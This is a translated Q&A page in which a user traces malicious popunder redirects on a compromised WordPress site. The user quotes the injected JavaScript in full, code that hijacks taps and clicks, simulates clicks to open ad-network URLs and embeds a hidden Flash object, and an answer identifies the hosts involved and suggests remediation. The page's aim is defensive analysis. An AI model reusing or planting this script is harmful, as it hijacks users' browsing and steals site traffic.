web-dev-qa-db-ja.com

開発者ツールを使用してWebサイト内のクリックジャッキング攻撃のソースを追跡する方法

携帯電話で人気のあるWordpressウェブサイトをサーフィンしているときに、記事へのリンクをクリックすると、悪意のあるウェブサイトに新しいウィンドウが開いたり、Apps Storeが起動したりすることがあります。方法を知りたいです。これは開発者ツールを使用して行われています。GoogleChrome=を使用して上記のWebサイトを起動し、モバイルユーザーエージェントをシミュレートしました。実際、ランダムな悪意のあるWebサイトが新しいウィンドウで開かれています。

ただし、元のサイトのリンクの上にマウスを置いても、悪意のあるリンクが開かれるというヒントは得られません。また、ChromeでレンダリングされたHTMLページのソースコードを検索して、悪意のあるリンクを追跡できませんでした。いくつかのJavaScriptとCSSマジックが適用されているようです。

更新:
動的にロードされたスクリプトへのクリックジャッキングソースを追跡することに成功しました:

!function () {
  var e = document,
  t = _gunggo,
  a = t.browser,
  o = t.lib,
  i = t.pop = t.pop || {
    placeHolder: function (e) {
      t.pop.trigger(e)
    }
  },
  r = t.settings.pop = t.settings.pop || {
  };
  r.kw = r.kw || '',
  r.ref = r.ref || '',
  r.type = r.type || 'popunder',
  r.infinite = r.premium || r.infinite || '',
  o.attEvt(e, 'mousedown', i.placeHolder, 1),
  o.attEvt(e, 'click', i.placeHolder, 1),
  o.attEvt(e, 'touchstart', i.placeHolder, 1),
  (r.geotarget || r.price) && o.passGeo(),
  i.enableFlashHack = 0,
  i.url = function () {
    var e = navigator,
    a = screen;
    return '//ad.directrev.com/RealMedia/ads/adstream_sx.ads/' + t.settings.siteID + '/1' + 100000000000000000 * Math.random() + '@x10?uln=' + (e.language ? e.language : e.userLanguage).toLowerCase() + '&je=' + e.javaEnabled() + '&ce=' + e.cookieEnabled + '&sr=' + a.width + 'x' + a.height + '&kw=' + r.kw + '&ref=' + r.ref
  },
  i.lock = function (e) {
    e = e || window.event;
    var t = e.target || e.srcElement;
    t = t && t.tagName ? t.tagName.toUpperCase()  : 0,
    e.cancelBubble = 1,
    e.preventDefault && e.preventDefault(),
    e.stopImmediatePropagation && e.stopImmediatePropagation(),
    e.stopPropagation && e.stopPropagation(),
    e.stop && e.stop()
  },
  i.trigger = function (e) {
    var n = t.settings;
    o.saveActiveViews(r, '_g.pop.views'),
    o.saveActiveViews = function () {
    };
    try {
      if (t.trace.warn('user click'), i.pause) return;
      if ('Chrome' != a.agent && 'mousedown' == e.type || 'Firefox' == a.agent && 2 == e.button) return;
      if (r.ostarget && !o.passOS(r)) return;
      if (r.mobileOnly && !a.isMobile()) return;
      if (r.browserTarget && !o.passBrowser(r)) return;
      if (r.freqcap && !o.passFreqCap(r, '_g.pop')) return;
      if (r.activeViews && !o.passActiveViews(r, '_g.pop.views')) return;
      if (r.geotarget && !o.passGeo(null, r)) return;
      r.price && (n.siteID = o.getSiteIDByGeo(r, n.siteID)),
      t.trace.warn('pass checks'),
      n.debug && 0 !== r.mode && (r.mode = r.mode || 10),
      r.mode = !n.debug && (r.mode < 10 && 0 !== r.mode || 'undefined' == typeof r.mode) ? 10 : r.mode,
      r.infinite && (r.mode = r.infinite),
      o.log('mode: ' + r.mode)
    } catch (s) {
      return void o.log(s)
    }
    'tab' == r.type && 'Chrome' == a.agent ? (i.botClick(i.url()), i.pause = 1, setTimeout(i.clear, 1))  : i.enableFlashHack && i.swf.PercentLoaded() > 0 && 'HTML' != e.target.tagName && 'OBJECT' != e.target.tagName ? 0 == e.button && (i.swf.style.width = i.swf.style.height = '100%', setTimeout(function () {
      i.swf.style.width = i.swf.style.height = '1px'
    }, 2000))  : i.clickHandler()
  },
  i.clickHandler = function () {
    i.pause = 1,
    t.trace.warn('new window');
    var e = screen,
    o = r.width || e.width,
    s = r.height || e.height,
    l = a.agent,
    p = 'tab' == r.type ? '' : 'width=' + o + ',height=' + s + ',top=' + (e.height - s) / 2 + ',left=' + (e.width - o) / 2 + ',resizable=no,scrollbars=yes,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no';
    'swaptab' != r.type ? n = open(i.url(), '_blank', p)  : (n = open(self.location, '_blank', ''), self.location = i.url()),
    setTimeout(i.clear, 1),
    'popup' != r.type && ('Firefox' == l && n.window.open('about:blank').close(), 'Explorer' == l && (n.blur(), n.opener.focus()))
  },
  i.clear = function () {
    t.trace.warn('clean up'),
    i.pause = 1;
    var a = i.swf;
    r.mode >= 0 && o.saveFreq(r, '_g.pop', r.domain ? r.domain : null),
    r.infinite && (r.mode = r.infinite),
    r.mode <= 0 ? (o.detEvt(e, 'click', i.placeHolder, 1), o.detEvt(e, 'mousedown', i.placeHolder, 1), o.detEvt(e, 'touchstart', i.placeHolder, 1), setTimeout(function () {
      a && e.body.removeChild(a)
    }, 200))  : setTimeout(function () {
      r.freqcap = null,
      r.mode = i.pause = 0,
      a && (a.style.visibility = ''),
      t.trace.warn('reopen start')
    }, 1000 * r.mode),
    a && (a.style.visibility = 'hidden', a.style.width = a.style.height = '1px')
  },
  i.botClick = function (t) {
    var a = e.createElement('a'),
    o = e.createEvent('MouseEvents');
    a.href = t,
    o.initMouseEvent('click', 1, 1, window, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, null),
    a.dispatchEvent(o)
  },
  i.flash = function () {
    o.log('body loaded');
    var t = HTMLElement.prototype,
    a = e.createElement('param'),
    n = e.createElement('object');
    t.attr = t.setAttribute,
    a.attr('name', 'allowscriptaccess'),
    a.attr('value', 'always'),
    n.appendChild(a),
    a = e.createElement('param'),
    a.attr('name', 'wmode'),
    a.attr('value', 'transparent'),
    n.appendChild(a),
    n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),
    n.attr('style', 'position:fixed;width:1px;height:1px;z-index:999999;overflow:hidden;left:0px'),
    e.body.insertBefore(n, e.body.firstChild),
    i.swf = n,
    e.removeEventListener('DOMContentLoaded', i.flash)
  },
  i.init = function () {
    try {
      o.detEvt(e, 'mousedown', _gunggo.pop.open, 1),
      o.detEvt(e, 'click', _gunggo.pop.open, 1)
    } catch (t) {
    }
  },
  i.clkPop = i.trigger,
  a.flash && 'popunder' == r.type && 'Chrome' == a.agent && a.version <= 42 && (e.body ? i.flash()  : e.addEventListener('DOMContentLoaded', i.flash), i.enableFlashHack = 1)
}();

私が間違っている場合は修正してください。ユーザーのクリックがi.lock関数で抑制されているようで、動的に作成されたリンク要素のi.botClick関数でクリックがシミュレートされています。

20以上のJavaScriptをステップ実行してページを苦労してデバッグすることなく、そのようなクリックジャッキング攻撃のソースを特定する迅速かつ簡単な方法があるので、JavaScriptに精通していない可能性があるサイト所有者に、この非表示について警告できます問題。

5

特定したスクリプトのソースにとって重要な部分は次のとおりです。

//ad.directrev.com/RealMedia/ads/adstream_sx.ads/

そして

n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),

これらはどちらもURLであり、このスクリプトに関与しているユーザーを識別するために使用できます。最初のURLは、パブリッシャー(この場合は、説明からのハッカー)と広告主の仲介役として機能する広告アフィリエイトネットワーク-"directrev.com"を識別します。このようなアフィリエイトネットワークを使用すると、ハッカーは侵害されたWebサイトを収益化できます。

2番目のURLは、Edge Networks CDNからダウンロードされるFlashファイルにリンクしています。ファイル(g.swf)は解凍しませんでした。 Flashファイルが実行されると、何らかのマルウェアパッケージがダウンロードされる可能性があります。あなたの興味があり、時間が許せば、私はそれを逆コンパイルすることができます-内部で参照される別のIPアドレスまたはホストがある可能性があります。

この2番目のURLはさらに、あなたが説明したスキームに誰が関与しているかを特定するために使用できます。エッジネットワークのお客様には、お客様ID番号に基づいて標準化されたホスト名が割り当てられていると思います。この場合、az413505.vo.msecnd.netです。ここで提供したスクリプトのコピーを使用して虐待の苦情をEdgecastに送信すると、サービスが終了します。 Edgecastが業界標準のAUPを適用することを条件とします。

「クリックジャッキング」と「ポップアンダー」の違いについて議論している他のコメントについては; IMOのどちらの用語もここに関連しています。マーケティング担当者は、ポップアンダーという用語を使用して、欺瞞的で、損害を与え、しばしば違法な行為を正当化しようとします。クリックジャッキングは通常、これらの慣行によって被害を受けた人々によって使用されます。何が起こったのかをより正確に説明しているので、私はクリックジャッキングを好む-ポップアンダーは「ポップアップ」をすぐに思い起こさせる。これは、元のナビゲーションページをそのまま残すアクションである。特にこのシナリオでは、Webサイトの改ざんによって広告が配置されているので、クリックジャッキングは、発生しているトラフィックの盗難をより適切に伴います。

最後に;ここでのOPの意味を「ソース」で誤解している可能性があります。問題のWebサイトが元々どのように侵害されたかについて、彼女または彼が言及した可能性があるためです。これらの種類の改ざんは、古くて安全でないWordpressバージョンとプラグインの悪用によって定期的に発生します。残念ながら、コードを骨の折れるレビューが確実にする唯一の方法ですが、アカウントのパスワードをリセットし、古いプラグインを無効にし、Wordpressが最新バージョンであることを確認します。WordPress以外のその他のターゲットには、WebフォームやSQLインジェクションが含まれます。

3
Josh Wieder